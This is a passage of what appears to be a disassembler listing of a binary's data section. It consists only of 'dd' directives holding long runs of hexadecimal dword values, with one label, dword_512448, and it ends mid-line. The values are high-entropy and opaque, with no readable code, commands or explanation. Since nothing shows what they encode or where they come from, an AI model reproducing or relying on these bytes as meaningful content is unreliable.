73C5F312h dd 0B6DC1407h, 937AFB90h, 975E00A8h, 9A07C95Ah, 0C00444Dh dd 0E995644Ah, 0EE08E52Bh, 0E73900FCh, 1E81E59h, 4F03F638h dd 9CFA8D3h, 0E008A8B2h, 0E7B30018h, 9C028904h, 4A006AF6h dd 7E6D8135h, 3DB4FAh, 106B42E4h, 12C58D94h, 1BDAD412h dd 1C0A4840h, 5AA237h, 6F43B677h, 41E923B5h, 0C8A19307h dd 0E2B32691h, 6EF3B8C6h, 0C0B61E90h, 84C7803Eh, 6649A93Bh dd 0F900EC9Ah, 285DA738h, 7EA48D4Eh, 0E6251D3Dh, 0C677C1B6h dd 0C16F99D9h, 0C8BB2Ch, 6CB779F0h, 2A68FEF2h, 0BC2AA4h dd 4B7A3AFDh, 0B26BC4EBh, 436CD51Fh, 1F90AEC0h, 94DCE6h dd 6D13017Fh, 2CE1FD08h, 845A3C00h, 0D3C0D542h, 548DB0BBh dd 0EECEB4F2h, 4AD2006h, 868E8800h, 0D17109BCh, 0D35C00A1h dd 603B963Dh, 0F20980D2h, 837C2FF9h, 88EDAB76h, 4034Ah dd 78DE5DD1h, 26325422h, 0FFCFC701h, 0F8D6E84Ch, 2840B440h dd 0A800843Fh, 8E0D7260h, 0AE3342Ch, 0C337CE49h, 438282BCh dd 7060A72Dh, 35779E45h, 0EA187301h, 98ADE61h, 0E2170AF8h dd 0B9F0F5Eh, 8460886Bh, 0A46A436Eh, 0B7EFF801h, 7C85315Ch dd 3214460h, 2CEDFE77h, 0A3EF9372h, 0EBD0F39Dh, 9073CB7h dd 0BC8D0750h, 123A8E60h, 113F0054h, 58C6B06Dh, 4501EC1Ch dd 0E0278A44h, 3C30434Ah, 4C4703A6h, 55CB7418h, 2B3B41E0h dd 2D09D17Bh, 8EA35Bh, 6ACA2970h, 0EE5403FCh, 0CB16DEB6h dd 0AFF4E8B0h, 0E9C03400h, 28A9BFD6h, 7A5B000Bh, 0FBB557C3h dd 0CC00148Fh, 7E49F517h, 4B6B78h, 36DE22D5h, 0DB919FD7h dd 99AA0D09h, 63788039h, 1ED26D2h, 8CB8B5BEh, 0C8F5BD55h dd 0F43C7489h, 0FF9B8009h, 5ED4F5Fh, 7ADE03B2h, 322D34D5h dd 4E3A11B0h, 8D005098h, 309D409Ah, 3FF2C171h, 57006892h dd 0C9C4865Dh, 21FC58FFh, 6700A176h, 2F161D90h, 71A66Fh dd 20688C84h, 0A0BC3FF4h, 8161DE00h, 9CCCF915h, 6E1F2CAAh dd 68F700BAh, 0CEA2EDD5h, 642C5D00h, 0D7497631h, 0E1ECC8h dd 971DDD72h, 48C01F47h, 0A2070100h, 0CE844FE0h, 0C55500A1h dd 9E88D77h, 49077BAAh, 9481BA3Ah, 0A167EB03h, 4AE0AE6Bh dd 88F61E04h, 1CC400FAh, 8210389Bh, 28639901h, 0EEA19053h dd 585AC760h, 0A43C9467h, 739112h, 3C8F149h, 6000D282h dd 0FF51E67Ah dd 1828EFFAh, 48185E7Eh, 1109E450h, 1ADBDh, 0B17FF2A0h dd 433200D2h, 0F39F551Fh, 0AE000B8Dh, 0C978F773h, 130C98FEh dd 30692122h, 0C6EEF128h, 94409100h, 0C70CD226h, 0DB0A0077h dd 7F9075A9h, 0B202EE0Fh, 67415F3h, 0C9FFC05Ah, 7738030Eh dd 0FC5FBEDBh, 136C6A05h, 6C809A2Ah, 9897AB0h, 9105DE20h dd 0F27CE8A0h, 0DFCC05Fh, 0E7213412h, 0E40CA840h, 16C3B7Dh dd 77DD2848h, 0CCABD3ADh, 95783A83h, 1200877Ah, 8B1E7665h dd 0B4CBDF0h, 5B13BE75h, 0F20D6A80h, 8D003503h, 0F72F68FBh dd 48428B18h, 5C78E7E9h, 0DD00C057h, 20ADD3FFh, 0E30071C0h dd 2C8AD862h, 4C749690h, 8003F4B6h, 37C2D42Eh, 5FDF8380h dd 2C77BF0Fh, 0B0662118h, 4C70DD20h, 0D7FE6Dh, 9CC0D89Eh dd 645EE1FAh, 0BB06E602h, 689558D3h, 1BD13E28h, 113B3134h dd 47ED7CD8h, 71009E7Bh, 13BD91B9h, 16E3799h, 8351A8B4h dd 0C402FD5Ch, 0AD001FB3h, 0EFD32C2Bh, 168808h, 7C37E072h dd 0DD27A01Eh, 927BE090h, 0F732D600h, 5A9AC361h, 2B7B19AEh dd 0E4571648h, 0F900CA62h, 0A88ED3CFh, 1D0F4DD1h, 4099F5B9h dd 0B437EDF4h, 0FD032D25h, 7A1FF854h, 0EE2CD08Dh, 65F10057h dd 0F5B6E026h, 611FF9C0h, 5580D74Dh, 38F48221h, 1F9DC58h dd 121D71DFh, 74BC30F6h, 748DBE2h, 44C90090h, 501A63FBh dd 864700D4h, 7D3DD27Bh, 17030597h, 8BE1E375h, 0EF8AA065h dd 0AB6214D0h, 0EB12DC79h, 7858313Fh, 0CB9C409Ah, 7701A764h dd 19213ABFh, 0DA30B108h, 7F4C01BEh, 0DBED80B7h, 0D7D2F9FAh dd 4AF49FD0h, 2FA8E200h, 0C174859Dh, 119CFFDCh, 0FA964082h dd 625C9975h, 80E1633Bh, 0C435CC6Fh, 1868D64Ah, 9054B0C5h dd 0E13B2C18h, 0A6AD80CDh, 175A1B52h, 0F2B3E6FFh, 941A0086h dd 573EE115h, 0BD778140h, 0A0AAB800h, 0AE844D29h, 4B14C14h dd 0F7A22600h, 0CB43E559h, 10807200h, 2E89690Ah, 3CAD00F1h dd 0E75ED365h, 8826094Ch, 0B20E8BC7h, 115D60AAh, 10C3A7Eh dd 96BCA347h, 0F461B9E8h, 0CE002610h, 0F1D0FCD7h, 48CFEEFEh dd 3C0BCC5Eh, 7830D37Ah, 46006E38h, 221ED739h, 2EF7DE71h dd 1EF44488h, 7E154016h, 8B6D7A34h, 0C6B54700h, 0CEFEAD36h dd 3C8F2EB1h, 6BC50EF8h, 3FCC276Ah, 0C787C300h, 7B991932h dd 25438900h, 0E2383ACCh, 1FE470h, 0F3679C66h, 2C9D2A32h dd 3EFE4DE4h, 0DA96F800h, 42AE0A21h, 5B0E2AB0h, 0BE390098h dd 983BBB58h, 0BCDE6D79h, 0D21FF482h, 2BD88088h, 0D43C44h dd 0AA4AC1E7h, 5C527E79h, 43080h, 94F6A529h, 0D2336DFEh dd 0E477C21Eh, 1C002517h, 6899DD0Ch, 2F9F00DFh, 97109DD5h dd 5DECC072h, 299CE602h, 607A49D3h, 2ADCB74h, 2872C97Eh dd 0D8A12F43h, 0E8452D7Bh, 0CA00D1BBh, 0E2BC4C4Fh, 283BFE14h dd 5C06290h, 60943F68h, 52B00022h, 0FBA40886h, 3C9E7100h dd 0E7775FD0h, 10F00084h, 839BFFDBh, 4338DC0Eh, 420583E0h dd 0B917B849h, 7FF8ACEFh, 6D19033Ah, 715B944h, 40C321F0h dd 0FA00F5FEh, 47CC916Ah, 0A84DE7h, 54240DF2h, 68D0167Bh dd 0E23E3FFEh, 1DA68137h, 89F6BEB5h, 26BCBFDCh, 801049A1h dd 0E0C8BDC4h, 0AD006A15h, 7AEC8865h, 0E567A6h, 0B28164A3h dd 2826CC7Bh, 32894E00h, 855C8751h, 8C52132Eh, 0E35C2006h dd 0EC1301B3h, 1001F202h, 10EBC464h, 0F07A490Ch, 0E3D45D0Bh dd 95C3000Dh, 36BA233h, 0BF1DF3A8h, 80B0BD02h, 0B5302CC1h dd 0A1A42048h, 46A4C8Bh, 73139900h, 6719A02Eh, 0DC0341C0h dd 0EE9C3DB3h, 6DB203C6h, 0F0EACF8Ah, 0D6ABE000h, 68D28645h dd 46798Ch, 0D1E76723h, 9B3AAE60h, 41084806h, 751742Ch dd 76A18F4Bh, 0C0A3608Ch, 6F0799E5h, 8B7A04E0h, 84806E44h dd 0ABA654Fh, 1560221Bh, 72B02BCh, 0C1809068h, 0C59E59F3h dd 58E02D01h, 44B34898h, 3BD66C20h, 0F30BEF73h, 2986277Fh dd 4700183Eh, 3DC4128Ch, 30C68DAAh, 0BA598632h, 890AED4Ah dd 0E837AC0Fh, 0A63DF100h, 0EEB683C0h, 56930812h, 8C03E691h dd 80D06A62h, 73CF535h, 0E21437F0h, 400E30FFh, 537CDA89h dd 0C7976B0Eh, 0F86E0A1h, 0C57D48h, 0AC51A380h, 0EA42FE63h dd 0A469A604h, 9C00F99Fh, 8E7B833Ch, 2D5F1D02h, 4017FA2Bh dd 7409774h, 426C1480h, 0B4D14176h, 43FC5011h, 0B260A89Ch dd 9045F928h, 77B51C03h, 0D4DF49h, 9DB7ED17h, 7EB0FB6Bh dd 650B2105h, 0AAC0F2EEh, 12BF7DBh, 6A9EC493h, 74EDE98Ah dd 81EA288h, 6F4066AEh, 244F2254h, 0BA5D00EBh, 7021F809h dd 9B01B8CBh, 0EE3BD5B9h, 0F28320D8h, 7975B0D7h, 847EBAD0h dd 86A5F500h, 82418946h, 4C7515h, 0AFA3FA9Bh, 42F92F66h dd 55C1F31Ch, 201052C0h, 7C7E0Bh, 699D128Eh, 480516DEh dd 79ACDF03h, 8430788Fh, 77AA4A80h, 0DB4F26BAh, 59410072h dd 0F994EDE7h, 7BC933Fh, 9F5EBE5Fh, 0BD485460h, 3075FA1Eh dd 8D884455h, 0EC9C7324h, 0B6969D38h, 0E8AD3B09h, 13D41128h dd 21A0F3h, 0F28FFB88h, 0DA98F55Ah, 2377800h, 0C8354469h dd 794C0FD2h, 3201F55h, 34F0B4CDh, 965AC918h, 26482D61h dd 429929h, 34A7DD07h, 0DC4F49CBh, 6B50800h, 0C0D0354Fh dd 2632E111h, 0ED004118h, 27FCF93h, 0E51A412h, 0E1502DFFh dd 8FBF2960h, 62017C3Eh, 52AEFEAFh, 40873AEDh, 202B8CF5h dd 48533C5Bh, 0F1120700h, 0A47A14FDh, 91CB00B8h, 1677190Ah dd 8A008D4Fh, 2FB4DE0Eh, 63C8D1h, 0BA373CD2h, 0B216B8B5h dd 0E0039402h, 0E09077D3h, 72DEA1Ch, 0F0150626h, 7651F068h dd 52003B55h, 0B04CBF2Ch, 0EC58E20Fh, 878000Ch, 1F9ED431h dd 0D2F97D52h, 6A03040h, 64D648h, 0D4C987C8h, 78B2D80Bh dd 0AC400023h, 0D0C26EADh, 330064DFh, 0FB72F5D5h, 2C78D67Bh dd 16380446h, 82AE002Ah, 0A130E529h, 0AB5FE203h, 0E82DC83Dh dd 74F85A9h, 0C58B0556h, 3341E0FEh, 8300A7BDh, 305EF24Bh dd 6F3A40h, 382E8B94h, 5531913Ch, 430067E4h, 0E822CB7Ch dd 4C29B4Eh, 4FA247B9h, 74D2C07Fh, 79067CD4h, 17E1E578h dd 0C9EC2422h, 0EE8302AEh, 93E077DFh, 4E0003C1h, 2401DC35h dd 7546A004h, 0FAD10086h, 0F62AB0C2h, 0A40F9D08h, 87B1F160h dd 0D3809165h, 0E39BD72h, 4FDDADFEh, 0FA7D08E0h, 2006373h dd 4CA457A8h, 104E78Dh, 29C02706h, 0EA83BC6Bh, 30100757h dd 0A6311210h, 1E7C00ADh, 5E65C145h, 0BE00E03Fh, 948C6C0Ch dd 1CC893B6h, 404796F6h, 0A4B2AF1Eh, 0B0004E73h, 0A08763B1h dd 6A8E37h, 1E34D5B4h, 88071862h, 0FF00CAE2h, 78EAFDB1h dd 7111C44h, 79E26C95h, 0BDAD5051h, 0FD0094F8h, 57881F7Dh dd 0F73B16h, 0C79B6792h, 5EE7334Eh, 819D7F02h, 0C12E424Bh dd 0B0E3A91Ah, 7BCB5B66h, 0F9953FDAh, 0CF633F87h, 0CD4770F3h dd 0C4F40E3Eh, 0A5942200h, 9E2F21DFh, 3749BCh, 0D771A781h dd 0C0BBF5E2h, 41006698h, 33C2F8F0h, 3A4FB684h, 0AC007F03h dd 388B4D80h, 0F67B353Dh, 1C061B1Eh, 9CECD741h, 28805476h dd 9ADF5B80h, 3B3D53CDh, 0D119E011h, 2C0EC1h, 9F8563EAh dd 195962DEh, 0DA3B82F6h, 41F064B8h, 97AC46C0h, 0F46C00D2h dd 36BCEE08h, 3400E006h, 31E3F9A1h, 0E8966ADh, 65208CB4h dd 91893DDCh, 9870672Fh, 7A93D000h, 0C4E8887Dh, 23C103CBh dd 6130EF54h, 0CF8D51B8h, 0E944A40Fh, 0E10E2F72h, 3C7ECB5h dd 3336D4h, 5B5450B8h dd 1CC6C916h, 31617E0Fh, 751A60FEh, 9841ACh, 3F63F603h dd 0E6201197h, 492E6F00h, 2A158A39h, 0B96100F3h, 0E71D086Ch dd 0A33F8453h, 48680097h, 77938FFEh, 723703F2h, 0A78519Bh dd 3BC4DAE8h, 0A0BD3A30h, 0FE920584h, 6BAF00F7h, 3D767D20h dd 2500984Fh, 0B9C07968h, 8113C2h, 9C4D2BEFh, 3C5A143Eh dd 6C898B00h, 0A7E5466Eh, 0FD050087h, 3A59443Dh, 39033B64h dd 6F308542h, 9C7090DEh, 88E20049h, 0CF6F87Eh, 71EA2422h dd 0BFDC360Bh, 27EA00DEh, 308C34h, 0FF602C4Ch, 8BC7E235h dd 2482011Ch, 80DC007Eh, 7679CBE4h, 0F84713Ch, 15CF4267h dd 5C11409Fh, 23D14599h, 63001598h, 572C9C12h, 39076929h dd 37805238h, 7C09F95Eh, 621E0E6Eh, 199FCD9Dh, 2DDF7B9Fh dd 805C934Fh, 0B8DC4076h, 0A59D0096h, 0A63CE92h, 4227C574h dd 0EA37E58h, 70E1F091h, 0F9B8AFD2h, 71C8E00Ah, 8E677D03h dd 0DB7B91FDh, 1378B850h, 7A1C0022h, 0C7B9E1BEh, 0A300CEEDh dd 210BC80Eh, 6E0185h, 0A993E3A5h, 0F93DCDE2h, 0CE561200h dd 0DE2D4E64h, 24750458h, 91F7434Fh, 0D43D1A30h, 2507E8E1h dd 5794C9FFh, 225E4AA0h, 384216D5h, 93F1396h, 0E980B3C9h dd 2A92DD50h, 0E9746701h, 40EF2FF3h, 26F75F30h, 0F2262BBh dd 0CEC017A8h, 2E516E80h, 3CD96B01h, 5D645CD7h, 5444ECh dd 1A26599Eh, 7A7D65E7h, 6788DA00h, 8EE9315Fh, 0D8840092h dd 0A1DE9E63h, 0E1757B43h, 6F293400h, 136C156Eh, 0ECA0709Ch dd 0F410171h, 0CF0CF873h, 0F0803099h, 0CCAC8007h, 11C0E832h dd 79B7636h, 9DC8EB66h, 463160A8h, 0A300BC47h, 7604EDE4h dd 1AB17BAh, 9C2EB3A9h, 0DD897AFDh, 0C6ACC0E7h, 1E288200h dd 696D9E57h, 0BBF90777h, 0F00F18EBh, 0D2F0D3E1h, 39EE6300h dd 1F6242EAh, 8F84Dh, 0F628336Bh, 0CF81407Fh, 80869100h dd 0CAA70E5Eh, 0BDA800E8h, 9AEDA3F5h, 7D006358h, 0FB78097Bh dd 24B19D1Ch, 0B48C43h, 0DF8FD6BCh, 0DC000267h, 0E5D0931Eh dd 0EF22DB89h, 3EE3D4h, 0DA39C3ABh, 0E18D0C16h, 3C77BE1Eh dd 700F1B00h, 0E6DF702h, 44C8B41Eh, 0A2A81900h, 0E1486532h dd 0F2C68004h, 607F59h, 6AA99F50h, 13E9A02Ah, 0ADDE9802h dd 48407329h, 14880C08h, 0B8B4032Dh, 0E0DC1407h, 42F130F2h dd 0B060D3FFh, 23ED8618h, 6F5401E5h, 88A23C80h, 1A4AC461h dd 417C4E04h, 0C480D478h, 59DF33h, 7D03C498h, 9F1655F8h dd 78EE5B7Ah, 431E6077h, 7300AFB0h, 7FB7B21h, 886B001Eh dd 824F8B25h, 4014CA8Fh, 0B1030Ch, 7CE7DC45h, 3C97E599h dd 28FF0134h, 26A88EB1h, 5C9559h, 0E556FAA5h, 0D9006E4Fh dd 136BCAEAh, 4972D7h, 7FF3867Eh, 0F0294498h, 470358FEh dd 9CB01A2Ah, 461000ECh, 0F103FEB2h, 0FA98683Eh, 700D6880h dd 6473B9C0h, 0F8E7C22Dh, 3D880081h, 0F1A9C06Fh, 2D98E355h dd 3EE23A1Dh, 838C1EBEh, 0BD5B12C0h, 60FC7F3h, 0BE23C9F8h dd 0D7A01198h, 0CA00763Dh, 0C0328254h, 92B63h, 1D14F5FAh dd 0D8A05513h, 120BAD00h, 0DAC31517h, 0D67A00ECh, 0D29A8FBEh dd 7E0093EEh, 22B1FEF7h, 0F00777h, 82C49199h, 15E74383h dd 0EA0BB901h, 3A7C4A05h, 0C2DBE4h, 0CE8CD73Fh, 0C3DE8F24h dd 2BE62500h, 0F798DC76h, 0AD5B00ABh, 0BC28EE45h, 97004D10h dd 0D23F7705h, 157DB39h, 0E4E2CC9Ch, 0C8D33579h, 82338FD0h dd 0C8B732A9h, 2C3975B8h, 4A4DB5h, 3570882Dh, 3101BDAEh dd 0D121163Dh, 1F7FD3Bh, 0B0576AF0h, 40C9E959h, 0E65A5ECCh dd 0BAE37800h, 0DE952D5Ch, 0CF2500A4h, 0B8CE1D3Fh, 1200E067h dd 0CD50F2D9h, 3403BDh, 0FF41A72Bh, 9E534277h, 935C79E6h dd 1DB80003h, 64A84CABh, 825C00F7h, 3E65A161h, 870109F2h dd 903DF9ACh, 0AC7017E6h, 0F4E40341h, 0CB456E9Eh, 3D519F8h dd 0EB5CBF17h, 0BA1C8600h, 98E0244Dh, 6D2E0076h, 2F9798FBh dd 600687Ch, 0F8354692h, 7E7D54h, 0FDFAEE5Eh, 0BD64404Ch dd 368DBC00h, 2E57637Fh, 369FCABh, 0E7569621h, 0D1C0F162h dd 3603DBF9h, 0F49F947Ch, 4EABF0A6h, 0D7342C9Eh, 0BA210E15h dd 5C93AA85h, 9A343FCh, 33E0BDA5h, 30EE1E70h, 855C8600h dd 0FFAB6A28h, 10830040h, 5E4E458Ah, 0A40DCE12h, 4A2CB920h dd 2B2F2080h, 22A8FA73h, 0DB079DE6h, 0B71B6FB6h, 0C881E593h dd 24099AAAh, 1D742167h, 8B9F80B4h, 98B56E48h, 0DE01407h dd 5A4068CCh, 1BB8FBh, 0BE5F6A82h, 654D136Fh, 3C408800h dd 71709C2Bh, 377902F0h, 0BD3E286Dh, 830C5AC0h, 925D40Eh dd 68E640FEh, 0FA775C8Fh, 0DC2B00FAh, 3FA5D97Ah, 0D10353C4h dd 444D7CD4h, 4ACCA065h, 97DE01ADh, 0E356704Bh, 3DEF708Fh dd 0C33A4D00h, 164C1566h, 1CE5F012h, 197F5BFh, 0AD7DBD46h dd 9175E882h, 0A6390D03h, 0C0B2801Ch, 14EA6315h, 0C8C662C4h dd 5EB0F280h, 0AA7C2C3Dh, 2133D104h, 0EA811686h, 0C840BDE0h dd 92F7128Dh, 1FAF0038h, 0FEB85181h, 8579D6CDh, 0B15BEC17h dd 106D8B00h, 30A43E50h, 0FC442EA9h, 0E800112Dh, 8F2FF4BBh dd 0CBCF9Ch, 0B38CC95Dh, 4004A23Dh, 0FAB23F00h, 0A980CDA4h dd 7E303F5h, 8F31A892h, 0B9EE9B8h, 7EC9A500h, 13B0785Bh dd 0D79100C7h, 44074C66h, 690085E1h, 0E517D9B8h, 70BEF2Bh dd 568E911Bh, 5AC36015h, 900143E0h, 86B481CCh, 0DE70F512h dd 5DB1004Ah, 0DD95B53Ah, 0E90F7737h, 40AF38AAh, 0B1EEFD29h dd 6A8F0006h, 0CA9CF6Fh, 0AA3E2BF2h, 0D8090F5Dh, 9C59CCCCh dd 0DD03004Ah, 3CDFE48Ah, 2F002C22h, 0BECCA216h, 713332Eh dd 9EF8E266h, 782490C7h, 8CE0616Eh, 23AEA600h, 0E36A5105h dd 96920045h, 5C54D63Fh, 7700FBC2h, 71A74D20h, 14D539h dd 0B1DAF1Ch, 5A121BDEh, 0D2DB9F12h, 0AA207700h, 0EF0526h dd 56AE976Bh, 7DA77B0Bh, 77DE1501h, 28DFED4Bh, 225A630h dd 0F6196ED0h, 784089CEh, 4D00A197h, 68C53D40h, 0C07F91h dd 0D2D4D9ABh, 35DC1FD3h, 0A5321C00h, 0AF4CEF4Dh, 78178AEh dd 3D226E4h, 1A495001h, 2700EA6Bh, 0BACF8CFh, 52D18h, 0C75F1EBDh dd 0B592685Ah, 9520400h, 3DEE60F5h, 0F6880E86h, 0AE818419h dd 0DC7AB1D3h, 50E2C4B7h, 0F87FD504h, 0B0C02CF5h, 4CC3D1h dd 0F4545E96h, 70CE13A0h, 59675F00h, 0D0A5A1BEh, 66AFE89h dd 849DFB0Ah, 540E11C4h, 60AA9EC9h, 0F3415DB2h, 4D881D8Fh dd 0CC5C9FDAh, 2560CA6Dh, 0AD447E0Fh, 151EA192h, 82D0D2A2h dd 7B2F1CA7h, 0AE89F06Fh, 521CFE27h, 0F8A8EAB7h, 8D3D6B98h dd 3EFABCCFh, 89A400C7h, 44A3F733h, 5F490ED8h, 478FE8A9h dd 4071DC27h, 31CA0EB1h, 21AA0403h, 0C427FC0Ch, 41D2C2C0h dd 84880C42h, 4C98020Ah, 0AB4D1E0Eh, 18AD8FCAh, 37AF8888h dd 8020FE22h, 78C94263h, 0FB11E260h, 0F0A23Bh, 0EAFF3AB4h dd 0CA6F568Ch, 0C9D26500h, 0AA036383h, 7B20A133h, 927086E6h dd 21500F8h, 0F82B776Dh, 0BB3FB21Ch, 66418E7Ch, 9A5F40D1h dd 0FDCCCBh, 0E75EF860h, 43DE2C3Bh, 84010AF4h, 9CB80371h dd 0DB40D439h, 12F2ABh, 81146C82h, 8AEFED8h, 0FBA9A700h dd 0E27B619h, 9115044Ch, 0C0A8651Fh, 0C397EC71h, 0EBCCAD09h dd 87B300F1h, 3BDAFEh, 1F8F9DD1h, 1D2E23DEh, 0BA62D307h dd 6910F8B7h, 325E9D7h, 67B6C90Ah, 1AD09855h, 4500A6AFh dd 0CF157343h, 3E36C563h, 0A40EF5D2h, 1858034Dh, 0D515D1C4h dd 0E8CFD16h dword_512448 dd 4769991Ah, 0CAF31263h, 0CE09307Bh, 6981BA21h, 20414C17h dd 0CA50E61Bh, 0AEA48CA0h, 60094890h, 3D94C580h, 0BA50A217h dd 8A66ACE4h, 211608h, 203D9CD3h, 17BE8849h, 428B500h dd 0CD19AE92h, 2913605Eh, 0B84F3625h, 6DBC238h, 0E3747E3Ah dd 18C49820h, 29F30482h, 9600B629h, 4DD641D8h, 0CCBE742Ch dd 8A21C008h, 0DF969100h, 22FEE1F8h, 5039032Ah, 0AFF2E7AEh dd 18CC023h, 0A78B3D98h, 40C3189Ah, 8000EFFEh, 0DD64423Dh dd 5B54E0h, 25BB2DBFh, 0CFA04F32h, 6B2EB0C3h, 30809D16h dd 0C7D2F8h, 4561D00Bh, 0B0812AEDh, 1BBF5C00h, 0FF7E1757h dd 557D0211h, 0FCF4EC5Fh, 852EC40h, 27CD5804h, 64C3D1DFh dd 4513C8EFh, 0DEB21E1Ah, 0EA5EB6h, 9E091C65h, 5A0E90D4h dd 0E18FFC77h, 0CE085384h, 0EF15CCh, 10B6811Ch, 2DA82E06h dd 1351DF38h, 5900F4D8h, 7AA75D9h, 0B7F00008h, 575FF329h dd 86003C13h, 4F2C68Ah, 0E968E1h, 2F02F408h, 10B350DFh dd 0D701F073h, 0C264958Fh, 0FFEC3A0Ah, 0EC8207A8h, 6F66CC6h dd 8750CCACh, 0B3002BB0h, 10FAE907h, 0D13262h, 0FB2E7EB4h dd 3818130Bh, 170772B8h, 0E9C345DFh, 7E678293h, 1C7D4428h dd 10DA1245h, 7C88997Fh, 693C887Ah, 0FE21FC8Bh, 1040128Bh dd 938950D5h, 1562BE08h, 227F44A1h, 47242A35h, 94177821h dd 11502829h, 0BB212FB7h, 60B4A238h, 8B08290Ch, 4C006F2Fh dd 197CDADDh, 951D8Dh, 7BDBDC71h, 935E7308h, 881C82FEh dd 0F0002610h, 87EFF7CBh, 0BB3B3943h, 0D16DE500h, 0C458E1FAh dd 0FBD04603h, 0C0E235BFh, 49EAFEh, 8691C5Dh, 19C1733Eh dd 63F1601h, 6C458459h, 82C4DCh, 0FAD234Fh, 170492BDh dd 8217800h, 444CA8B4h, 0E13E0070h, 1623AB88h, 2500A5ACh dd 3102CFC4h, 11DB158h, 0FAD8369Eh, 0C4CA9840h, 5E0060FFh dd 9CBAFB01h, 16142DEDh, 304E436h, 4605D1A5h, 0C98EB580h dd 5E116F07h, 0C26057A7h, 2439951h, 0DE1EB9FDh, 1840FBCBh dd 970D6831h, 61C6D52Ah, 0D96CCCh, 219885DBh, 0E1081BB9h dd 830E77E8h, 4035D034h, 878AFA0Eh, 326D01D6h, 0A2FDCEBCh dd 0ED4080F7h, 525E9EE1h, 0A5D0391Ch, 88BCAEh, 4A70FE8Fh dd 1518A6E6h, 7B8A48Dh, 0D3650027h, 4B7B6FC1h, 1E0F3A49h dd 9F4D90h, 0CC984E5Dh, 96CB3A76h, 832C7200h, 0A58864B1h dd 4F545B00h, 3886E2DCh, 0B60F0D6h, 0BBD71424h, 8C1254A0h dd 0B5000944h, 1176EE8Fh, 41A2F9h, 23853EABh, 43B3EBDBh dd 0A901387Ch, 1B9B0589h, 46F87093h, 0D544008Ah, 66A837D6h dd 18B06179h, 0A210AE07h, 0AF09A14h, 8DEDCFh, 116921E0h dd 0A1FFC151h, 6FF2A998h, 90F2C501h, 2C89C381h, 6BDCB840h dd 7FF4004Ch, 40B056A8h, 0F6070559h, 9B5BA771h, 0B403C315h dd 0F8956315h, 1FB020AEh, 0C78B7618h, 211FBF3Fh, 8091B42Eh dd 41F0C85Ch, 0B8E42Ch, 0C2ACDF79h, 0E8457F98h, 0E0D00D1Eh dd 0ED1ADBC0h, 2DAF9Dh, 5F6DE288h, 6CC3EBABh, 2FB8FA00h dd 0FD6EF180h, 0C99600A5h, 26012795h, 4101CB8Fh, 0CD282AFEh dd 0C0FA5A43h, 227941Dh, 0DE955FA1h, 2448BB50h, 0AA053C9Ch dd 60DD1074h, 5C00C2E8h, 0B0E58345h, 3092D028h, 0E2E40B00h dd 607C97FEh, 0EA320166h, 0E1F0A0B9h, 0C4B3FDE3h, 4C004AA7h dd 0DD211878h, 4E14DFh, 29D60E60h, 7A1A2849h, 0C9831E00h dd 0A4E3517Bh, 0F2620040h, 14ABBE3Fh, 573EFBF3h, 0BCB2804Ch dd 9D48504Ah, 0DA1A0F91h, 0A6606B28h, 12C2560Ah, 0F79FE507h dd 2C40A371h, 5FB366h, 0D3D77DB4h, 0CF835090h, 7AB0D0C0h dd 5C9AA4h, 1D69BAAEh, 3341B19Bh, 0ABC00500h, 0CA898C43h dd 974400A5h, 0E3F47EBFh, 0DF787122h, 7648B100h, 30823BD2h dd 89F80194h, 5EF3CB18h, 0E7786025h, 0D6F56E0Eh, 0DA3B4332h dd 8FA0DF1Eh, 5AAFBDh, 0A15C2C4Fh, 3BBC450h, 6CD61C00h dd 4A33EAB9h, 0F1DB0051h, 0EB914483h, 3F001738h, 29F86EFDh dd 393C25A7h, 48CC53B9h, 6630B800h, 976DCF36h, 0FB997000h dd 0DE57FC47h, 9A6000Ch, 541968ABh, 0F4003CD1h, 8102844Dh dd 523018h, 87D7EF03h, 2EAA64A2h, 8054EB39h, 0BA763CC8h dd 945F7F1h, 0CF96CA57h, 2BC19103h, 0E7D0139Bh, 140051ADh dd 3D5FF183h, 3C5E75ABh, 0ED04771Dh, 0C07EE326h, 0E0669227h dd 1FD6B3Fh, 8CF798D2h, 0A1F0B86Fh, 7A5EECAh, 0A309C541h dd 0E668540h, 4E81D080h, 0F4F989EAh, 1F00F56Fh, 0C73FA77Bh dd 35B2C9h, 0F33236FAh, 52DA53Eh, 70EABC0Fh, 2181C0D7h dd 4F8AA03h, 7E77D27Ah, 0F696812Ch, 2D8F40C6h, 6100B34Bh dd 94A1B84Eh, 0B65C26h, 0BF96E868h, 2EBD1D8Bh, 8C3D4601h dd 0ED870231h, 930EA60h, 6E13DB9Eh, 0A01B05h, 9D0BAAA0h dd 2A7A8631h, 12C5D905h, 808022ADh, 0E660Dh, 0F8FF14AEh dd 3C07CB79h, 5FD4AF01h, 4A7828C1h, 0A5B4D8h, 6D0090Fh dd 0A090B79Fh, 8F0E4312h, 0CAF93C0Ah, 9597B501h, 0F02EFC94h dd 53E3E85h, 0F64B0072h, 0A75AEB56h, 11CF1D2Ah, 63B7809Ch dd 0BA1DBDBEh, 0A891DF00h, 53CD61B6h, 0D8350340h, 0B7839B49h dd 868DC288h, 2DBA807h, 1EA009C9h, 3126F5Dh, 19ED3F92h dd 1AB8A122h, 470E3013h, 0A0A2DD4Bh, 65E897B2h, 70980510h dd 0F77794h, 9FFF31C4h, 0A006DC3h, 355DAED8h, 1790D65h dd 25C406C8h, 0F4853F07h, 8A00F758h, 1F916818h, 0AF749Dh dd 1CA8A08Dh, 0E423B626h, 5B0F4B72h, 8CE6CFh, 37E182D8h dd 0BDE506FDh, 5142FB28h, 35B15007h, 0F560C3D5h, 15FD939h dd 4F03D120h, 0F064FEDFh, 63005B05h, 0B00D6ABBh, 0B29634h dd 0FBDE243Bh, 4893AA7Bh, 8D5F2900h, 0D0185BF0h, 0F9D6008Bh dd 7B77E5F5h, 6E059D1Bh, 0DC72F4AAh, 0A1D9CC0Eh, 59780A0Ch dd 49DF520h, 6AB44A38h, 5A2C9056h, 0DE00BA50h, 0A306228Bh dd 0EEEE79F9h, 520007Ah, 0E844F6A0h, 7B005889h, 6D113D7Fh dd 131E5D6h, 37AA953Eh, 7BFC389Fh, 3C50DF0h, 2BDFEA2Ah dd 6E88ABE9h, 6D0CE002h, 20BACC0Ch, 37E20730h, 8131B693h dd 0C8156011h, 0DC3E3A1Ch, 98362AD1h, 773B3Ch, 0C21A81B0h dd 15E4CA2h, 5FFBDF5Dh, 308E3AC0h, 2000F2B6h, 0E4256BEBh dd 79A921h, 0CC34DB62h, 3EF973DAh, 52A04524h, 8A808400h dd 0E2F122h, 8CCA0E6Fh, 48082041h, 2E785A00h, 175D4A1Fh dd 0AAA40035h, 42458A14h, 7903FE10h, 